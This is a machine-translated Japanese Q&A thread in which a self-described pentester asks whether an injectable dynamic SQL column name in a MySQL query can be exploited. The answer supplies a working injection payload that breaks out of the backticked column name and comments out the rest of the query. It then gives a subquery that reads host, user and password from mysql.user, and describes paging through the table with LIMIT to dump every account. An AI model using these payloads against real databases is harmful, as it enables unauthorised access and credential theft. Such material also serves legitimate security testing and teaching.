1

そのため、ペンテスト中に小さな問題に遭遇しました。このページでは、次のタイプのリンクからの動的 SQL 列が許可されていることがわかり まし

sel menu fail(?some sort of failure of selection message)

select `menu_id`, `lang_**[the injected code starts here]**` as lang, age, is_open from `utf8_menu` where `age` = 503 AND `is_active`=1 order by `order`
Unknown column 'lang_' in 'field list'

私の問題は、数え切れないほどの操作とクエリへの追加を試みましたが、これを悪用する方法が本当に見つからないように見えることです。注射は本当に安全ですか?どんな助けでも大歓迎です。ありがとう :)

4

1 に答える 1

3

いいえ。コードが SQL インジェクションに対して無防備であると見なすには、ここには十分な情報がありません。

クエリから、それを実行する関数は 4 つの列が返されることを期待していることがわかり、列の名前が表示されます。(その情報は、私たちに有利なスタートを切ります。)

返される列の数、列の名前とデータ型、特定の値について、関数がどれほどうるさいかはわかりません。またはフェッチされる行数。(おそらく、関数は 1 行しかフェッチしていません。)

ステートメントがこの形式であることがわかっている場合...

  SELECT `menu_id`
       , `lang_**[the injected code starts here]**` AS lang
       , age
       , is_open
    FROM `utf8_menu` 
   WHERE `age` = 503
     AND `is_active`=1
   ORDER BY `order`

SQL インジェクションを取得するための最初のショットは、次のようになります。

  foo` AS lang, 1 AS age, 1 AS is_open --

文字列値を変更せずに SQL に組み込むと、次の形式の SQL が得られます。

  SELECT `menu_id`
       , `lang_foo` AS lang
       , 1 AS age
       , 1 AS is_open -- ` AS lang ... 

「ダッシュ ダッシュ スペース」以降はすべてコメントとして扱われます。関数は、 という名前の列でボークする可能性がありますlang_foo。運が良ければ、関数は列名ではなく序数 (1,2,3,...) で列を参照しています。

fooそのため、" " を関数が期待する別の値に変更する必要があるかもしれません。

そのエクスプロイトが成功した場合、それは最初のオープニングです。いくつかの情報を公開しようとすることができます。

mysql.user テーブルから何らかの情報を取得できるかもしれません...

  SELECT `menu_id`
       , `lang_foo` AS lang
       , col3       AS `age`
       , 1          AS `is_open`
    FROM ( SELECT host     AS menu_id
                , user     AS lang_foo
                , password AS col3
             FROM mysql.user 
            ORDER BY host, user
         ) --  ...       

関数が返された値で何をしているかによって異なります。それが Web ページに出力されている場合、私たちはゴールデンです。

関数が 1 つの行のみを返す場合、mysql.user テーブル全体を取得するにはもう少し手間がかかります。

LIMIT 0,1最初にスライドしてLIMIT 1,1、2列目を取得できます...

于 2015-07-15T01:53:44.777 に答える